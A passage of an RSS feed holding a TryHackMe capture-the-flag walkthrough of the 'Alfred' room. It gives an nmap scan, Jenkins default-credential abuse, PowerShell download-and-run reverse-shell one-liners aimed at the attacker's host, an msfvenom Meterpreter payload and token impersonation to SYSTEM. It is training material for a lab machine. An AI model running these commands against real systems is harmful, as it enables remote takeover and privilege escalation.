src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74af31cbaf31" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/daily-bugle-tryhackme-74af31cbaf31">Daily Bugle</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Alfred ]]></title>
            <link>https://systemweakness.com/alfred-tryhackme-d6f81484300f?source=rss-264f7680dd06------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6f81484300f</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Arun Jangra]]></dc:creator>
            <pubDate>Wed, 04 May 2022 13:03:16 GMT</pubDate>
            <atom:updated>2022-07-26T09:22:06.986Z</atom:updated>
            <content:encoded><![CDATA[<h4>TryHackMe</h4><p>Alfred is a Batman-themed Linux machine. We have to get two flags user and root in order to complete this box. Concept of enumeration, msfvenom, token impersonating and many others.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Uaxsmh5stTo4ieMN30_Tw.png" /><figcaption>Photo by <a href="https://unsplash.com/@serge_k?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Serge Kutuzov</a> on <a href="https://unsplash.com/s/visual/a63e0ec8-a767-4e95-87ea-3e745cbf668a?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>So let’s begin there is so much to learn.<br>Here is the link for the room if you want to follow along:<br>Link: <a href="https://tryhackme.com/room/alfred">https://tryhackme.com/room/alfred</a><br>Machine Used: THM Ubuntu Attack Box</p><p>давай 🚀</p><p>Start with the basics</p><p>NMAP →</p><pre>nmap -sT -p- 10.10.72.230</pre><p>Output</p><pre>Starting Nmap 7.60 ( &lt;https://nmap.org&gt; ) at 2022-05-04 12:22 BST<br>Stats: 0:01:28 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan<br>Connect Scan Timing: About 80.12% done; ETC: 12:24 (0:00:22 remaining)<br>Nmap scan report for ip-10-10-72-230.eu-west-1.compute.internal (10.10.72.230)<br>Host is up (0.00060s latency).<br>Not shown: 65532 filtered ports<br>PORT     STATE SERVICE<br>80/tcp   open  http<br>3389/tcp open  ms-wbt-server<br>8080/tcp open  http-proxy<br>MAC Address: 02:E1:B6:ED:9E:05 (Unknown)</pre><p><a href="https://github.com/samratashok/nishang">https://github.com/samratashok/nishang</a></p><p>this repo contains various payloads for windows exploitation ⭐</p><p>Here in this case we will be using this script :</p><p><a href="https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1">https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1</a></p><p>Now we need to run our script in our target system so for that login into Jenkins (hint : at port other than 80) using admin:admin</p><p>And now follow these steps →</p><p><a href="https://quick-adviser.com/how-do-i-run-a-jenkins-shell-script-in-windows/">How do I run a Jenkins shell script in Windows?</a></p><p>Enter the Powershell script here :</p><pre>powershell iex (New-Object Net.WebClient).DownloadString(&#39;&lt;http://10.10.61.64:8000/Invoke-PowerShellTcp.ps1&gt;&#39;);Invoke-PowerShellTcp -Reverse -IPAddress 10.10.61.64 -Port 4444</pre><p>*Don’t forget to run the python server on your end and a listener at 4444 port</p><p>Now Click on project &gt; configure and in shell write this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ZnG9EoMNqqc1iIGvHTIHw.png" /></figure><p>Now Apply &amp; save</p><p>→ Now click the build now option to execute the script and this will give us the shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gakk_sOb5aswqkg8wT7ZXg.png" /></figure><p>Here on bruce’s desktop you will find your user.txt flag ⛳</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1emqNzXfJ8oXji8h7gPbpg.png" /></figure><p>Now we will shift our shell from this to meterpreter shell in order to make our process easier for privilege escalation</p><p>Generate a msfvenom payload →</p><pre>msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.10.61.64 LPORT=1234 -f exe -o shell.exe</pre><p>Now we need to set a listener in msfconsole</p><pre>msf5&gt; use exploit/multi/handler<br>msf5&gt; set PAYLOAD windows/meterpreter/reverse_tcp<br>msf5&gt; set LHOST 10.10.61.64<br>msf5&gt; set LPORT 1234<br>msf5&gt; exploit</pre><p>Now run this command on reverse shell</p><pre>powershell &quot;(New-Object System.Net.WebClient).Downloadfile(&#39;&lt;http://10.10.61.64:8000/shell.exe&#39;,&#39;shell.exe&gt;&#39;)&quot;</pre><p>Now run this to start process on our windows machine →</p><pre>Start-Process shell.exe</pre><p>Now we have our meterpreter shell</p><p>check all the privileges running on the reverse shell</p><pre>PS C:\\Users\\bruce\\Desktop&gt; whoami /priv</pre><pre>PRIVILEGES INFORMATION<br>----------------------</pre><pre>Privilege Name                  Description                               State   <br>=============================== ========================================= ========<br>SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled<br>SeSecurityPrivilege             Manage auditing and security log          Disabled<br>SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled<br>SeLoadDriverPrivilege           Load and unload device drivers            Disabled<br>SeSystemProfilePrivilege        Profile system performance                Disabled<br>SeSystemtimePrivilege           Change the system time                    Disabled<br>SeProfileSingleProcessPrivilege Profile single process                    Disabled<br>SeIncreaseBasePriorityPrivilege Increase scheduling priority              Disabled<br>SeCreatePagefilePrivilege       Create a pagefile                         Disabled<br>SeBackupPrivilege               Back up files and directories             Disabled<br>SeRestorePrivilege              Restore files and directories             Disabled<br>SeShutdownPrivilege             Shut down the system                      Disabled<br>SeDebugPrivilege                Debug programs                            Enabled <br>SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled<br>SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled <br>SeRemoteShutdownPrivilege       Force shutdown from a remote system       Disabled<br>SeUndockPrivilege               Remove computer from docking station      Disabled<br>SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled<br>SeImpersonatePrivilege          Impersonate a client after authentication Enabled <br>SeCreateGlobalPrivilege         Create global objects                     Enabled <br>SeIncreaseWorkingSetPrivilege   Increase a process working set            Disabled<br>SeTimeZonePrivilege             Change the time zone                      Disabled<br>SeCreateSymbolicLinkPrivilege   Create symbolic links                     Disabled</pre><pre>PS C:\\Users\\bruce\\Desktop&gt;</pre><p>Notice the service →</p><ul><li>SeDebugPrivilege</li><li>SeImpersonatePrivilege</li><li>SeCreateGlobalPrivilege</li></ul><p>Now these can be used to escalate our hold For that we will use →</p><p>Incognito module in meterpreter</p><pre>msf5&gt; use incognito</pre><p>Now list all the tokens on the system →</p><pre>meterpreter &gt; list_tokens -g<br>[-] Warning: Not currently running as SYSTEM, not all tokens will be available<br>             Call rev2self if primary process token is SYSTEM</pre><pre>Delegation Tokens Available<br>========================================<br>\\<br>BUILTIN\\Administrators<br>BUILTIN\\IIS_IUSRS<br>BUILTIN\\Users<br>NT AUTHORITY\\Authenticated Users<br>NT AUTHORITY\\NTLM Authentication<br>NT AUTHORITY\\SERVICE<br>NT AUTHORITY\\This Organization<br>NT AUTHORITY\\WRITE RESTRICTED<br>NT SERVICE\\AppHostSvc<br>NT SERVICE\\AudioEndpointBuilder<br>NT SERVICE\\BFE<br>NT SERVICE\\CertPropSvc<br>NT SERVICE\\CscService<br>NT SERVICE\\Dnscache<br>NT SERVICE\\eventlog<br>NT SERVICE\\EventSystem<br>NT SERVICE\\FDResPub<br>NT SERVICE\\iphlpsvc<br>NT SERVICE\\LanmanServer<br>NT SERVICE\\MMCSS<br>NT SERVICE\\PcaSvc<br>NT SERVICE\\PlugPlay<br>NT SERVICE\\RpcEptMapper<br>NT SERVICE\\Schedule<br>NT SERVICE\\SENS<br>NT SERVICE\\SessionEnv<br>NT SERVICE\\Spooler<br>NT SERVICE\\TrkWks<br>NT SERVICE\\TrustedInstaller<br>NT SERVICE\\UmRdpService<br>NT SERVICE\\UxSms<br>NT SERVICE\\Winmgmt<br>NT SERVICE\\WSearch<br>NT SERVICE\\wuauserv</pre><pre>Impersonation Tokens Available<br>========================================<br>NT AUTHORITY\\NETWORK<br>NT SERVICE\\AudioSrv<br>NT SERVICE\\DcomLaunch<br>NT SERVICE\\Dhcp<br>NT SERVICE\\DPS<br>NT SERVICE\\lmhosts<br>NT SERVICE\\MpsSvc<br>NT SERVICE\\netprofm<br>NT SERVICE\\nsi<br>NT SERVICE\\PolicyAgent<br>NT SERVICE\\Power<br>NT SERVICE\\ShellHWDetection<br>NT SERVICE\\W32Time<br>NT SERVICE\\WdiServiceHost<br>NT SERVICE\\WinHttpAutoProxySvc<br>NT SERVICE\\wscsvc</pre><p>Now we will impersonate the service and the token</p><pre>meterpreter &gt; impersonate_token &quot;BUILTIN\\Administrators&quot;<br>[-] Warning: Not currently running as SYSTEM, not all tokens will be available<br>             Call rev2self if primary process token is SYSTEM<br>[+] Delegation token available<br>[+] Successfully impersonated user NT AUTHORITY\\SYSTEM<br>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\\SYSTEM</pre><p>VOILA!! we are able to successfully escalate the privileges 🎉</p><p>Even though you have a higher privileged token you may not actually have the permissions of a privileged user (this is due to the way Windows handles permissions — it uses the Primary Token of the process and not the impersonated token to determine what the process can or cannot do). Ensure that you migrate to a process with correct permissions (above questions answer). The safest process to pick is the services.exe process. First use the <em>ps</em> command to view processes and find the PID of the services.exe process. Migrate to this process using the command <em>migrate PID-OF-PROCESS</em></p><pre>meterpreter &gt; ps</pre><pre>Process List<br>============</pre><pre> PID   PPID  Name                  Arch  Session  User                          Path<br> ---   ----  ----                  ----  -------  ----                          ----<br> 0     0     [System Process]                                                   <br> 4     0     System                x64   0                                      <br> 396   4     smss.exe              x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\smss.exe<br> 524   516   csrss.exe             x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\csrss.exe<br> 572   564   csrss.exe             x64   1        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\csrss.exe<br> 580   516   wininit.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\wininit.exe<br> 608   564   winlogon.exe          x64   1        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\winlogon.exe<br> 668   580   services.exe          x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\services.exe<br> 676   580   lsass.exe             x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\lsass.exe<br> 684   580   lsm.exe               x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\lsm.exe<br> 772   668   svchost.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\svchost.exe<br> 848   668   svchost.exe           x64   0        NT AUTHORITY\\NETWORK SERVICE  C:\\Windows\\System32\\svchost.exe<br> 916   668   svchost.exe           x64   0        NT AUTHORITY\\LOCAL SERVICE    C:\\Windows\\System32\\svchost.exe<br> 920   608   LogonUI.exe           x64   1        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\LogonUI.exe<br> 936   668   svchost.exe           x64   0        NT AUTHORITY\\LOCAL SERVICE    C:\\Windows\\System32\\svchost.exe<br> 988   668   svchost.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\svchost.exe<br> 1012  668   svchost.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\svchost.exe<br> 1052  1828  cmd.exe               x86   0        alfred\\bruce                  C:\\Windows\\SysWOW64\\cmd.exe<br> 1076  668   svchost.exe           x64   0        NT AUTHORITY\\NETWORK SERVICE  C:\\Windows\\System32\\svchost.exe<br> 1216  668   spoolsv.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\spoolsv.exe<br> 1244  668   svchost.exe           x64   0        NT AUTHORITY\\LOCAL SERVICE    C:\\Windows\\System32\\svchost.exe<br> 1348  668   amazon-ssm-agent.exe  x64   0        NT AUTHORITY\\SYSTEM           C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe<br> 1400  668   svchost.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\svchost.exe<br> 1432  668   LiteAgent.exe         x64   0        NT AUTHORITY\\SYSTEM           C:\\Program Files\\Amazon\\Xentools\\LiteAgent.exe<br> 1460  668   svchost.exe           x64   0        NT AUTHORITY\\LOCAL SERVICE    C:\\Windows\\System32\\svchost.exe<br> 1492  2668  powershell.exe        x86   0        alfred\\bruce                  C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe<br> 1524  524   conhost.exe           x64   0        alfred\\bruce                  C:\\Windows\\System32\\conhost.exe<br> 1640  668   jenkins.exe           x64   0        alfred\\bruce                  C:\\Program Files (x86)\\Jenkins\\jenkins.exe<br> 1712  668   svchost.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\svchost.exe<br> 1788  668   svchost.exe           x64   0        NT AUTHORITY\\NETWORK SERVICE  C:\\Windows\\System32\\svchost.exe<br> 1828  1640  java.exe              x86   0        alfred\\bruce                  C:\\Program Files (x86)\\Jenkins\\jre\\bin\\java.exe<br> 1840  668   Ec2Config.exe         x64   0        NT AUTHORITY\\SYSTEM           C:\\Program Files\\Amazon\\Ec2ConfigService\\Ec2Config.exe<br> 1900  2668  powershell.exe        x86   0        alfred\\bruce                  C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe<br> 1936  524   conhost.exe           x64   0        alfred\\bruce                  C:\\Windows\\System32\\conhost.exe<br> 2064  2668  powershell.exe        x86   0        alfred\\bruce                  C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe<br> 2192  524   conhost.exe           x64   0        alfred\\bruce                  C:\\Windows\\System32\\conhost.exe<br> 2360  524   conhost.exe           x64   0        alfred\\bruce                  C:\\Windows\\System32\\conhost.exe<br> 2368  772   WmiPrvSE.exe          x64   0        NT AUTHORITY\\NETWORK SERVICE  C:\\Windows\\System32\\wbem\\WmiPrvSE.exe<br> 2540  524   conhost.exe           x64   0        alfred\\bruce                  C:\\Windows\\System32\\conhost.exe<br> 2668  1052  powershell.exe        x86   0        alfred\\bruce                  C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe<br> 2728  668   sppsvc.exe            x64   0        NT AUTHORITY\\NETWORK SERVICE  C:\\Windows\\System32\\sppsvc.exe<br> 2800  668   svchost.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\svchost.exe<br> 2852  2668  shell.exe             x86   0        alfred\\bruce                  C:\\Users\\bruce\\Desktop\\shell.exe<br> 3044  668   SearchIndexer.exe     x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\SearchIndexer.exe<br> 3048  668   TrustedInstaller.exe  x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\servicing\\TrustedInstaller.exe</pre><p>We have svchost.exe note the PID : 2850</p><pre>meterpreter &gt; migrate 2850</pre><pre>meterpreter &gt; migrate 2800<br>[*] Migrating from 2852 to 2800...<br>[*] Migration completed successfully.<br>meterpreter &gt;</pre><p>Now in C:/System32/config we have our root.txt file</p><h3>PWNED 🎉</h3><h3>👨‍💻 🚀</h3><p>Keep Trying, Keep Working :)</p><p>Please write in comments if there is a more efficient way to do this. Every feedback is precious.</p><h3>Thank You</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6f81484300f" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/alfred-tryhackme-d6f81484300f">Alfred 🦇</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>